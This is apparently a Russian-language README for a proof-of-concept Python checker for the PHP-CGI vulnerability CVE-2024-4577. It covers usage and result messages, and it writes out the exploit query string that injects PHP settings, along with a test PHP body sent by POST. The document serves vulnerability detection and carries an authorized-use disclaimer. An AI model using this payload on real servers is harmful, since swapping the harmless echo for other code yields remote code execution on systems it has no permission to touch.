
Этот Python-скрипт — простой инструмент PoC (Proof of Concept) для диагностики последней уязвимости PHP CVE-2024-4577.
⚠️ Этот инструмент предоставляется в целях проверки безопасности и должен использоваться только на собственных системах или объектах, на которые получено предварительное разрешение.
Данная уязвимость возникает, когда PHP работает в режиме CGI в среде Windows, и позволяет путём обхода с помощью многобайтовых символов внедрять произвольные настройки PHP и добиваться выполнения кода.
Скрипт отправляет на целевой URL POST-запрос с пейлоадом обхода на основе query-строки и PHP-кодом, определяя, уязвима ли цель.
python3 --version
pip install requests
python3 cve_2024_4577_test.py
Пример ввода:
http://192.168.0.10/index.php
Либо можно ввести только корневой путь — он будет обработан автоматически.
http://192.168.0.10
✅ [✅] Уязвим: сервер выполнил PHP-код.
→ Сервер уязвим.
✔️ [✔️] Не уязвим или заблокировано
→ Ответ получен, но уязвимость не проявилась.
❌ [❌] Ошибка запроса: ...
→ Тест не выполнен из-за ошибки соединения, тайм-аута и т. п.
Вставка строки обхода уязвимости:
?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
Вставка PHP-кода в тело POST-запроса:
<?php echo 'CVE-2024-4577-TEST'; ?>
Если сервер выполнит этот код, в ответе будет содержаться соответствующая строка, что позволяет определить уязвимость.
Этот скрипт предоставляется только в образовательных целях и для исследований в области безопасности. Сканирование или тестирование систем без разрешения противозаконно. Пользователь несёт всю ответственность самостоятельно.
| Файл | Описание |
|---|---|
cve_2024_4577_test.py | Python-скрипт для проверки уязвимости |
README.md | Документация по использованию (данный файл) |
LICENSE.txt |
Сообщения об ошибках и предложения отправляйте по электронной почте или через PR.
Этот проект распространяется под лицензией MIT — подробнее см. в файле LICENSE. Copyright (c) 2025 KimJuhyeong95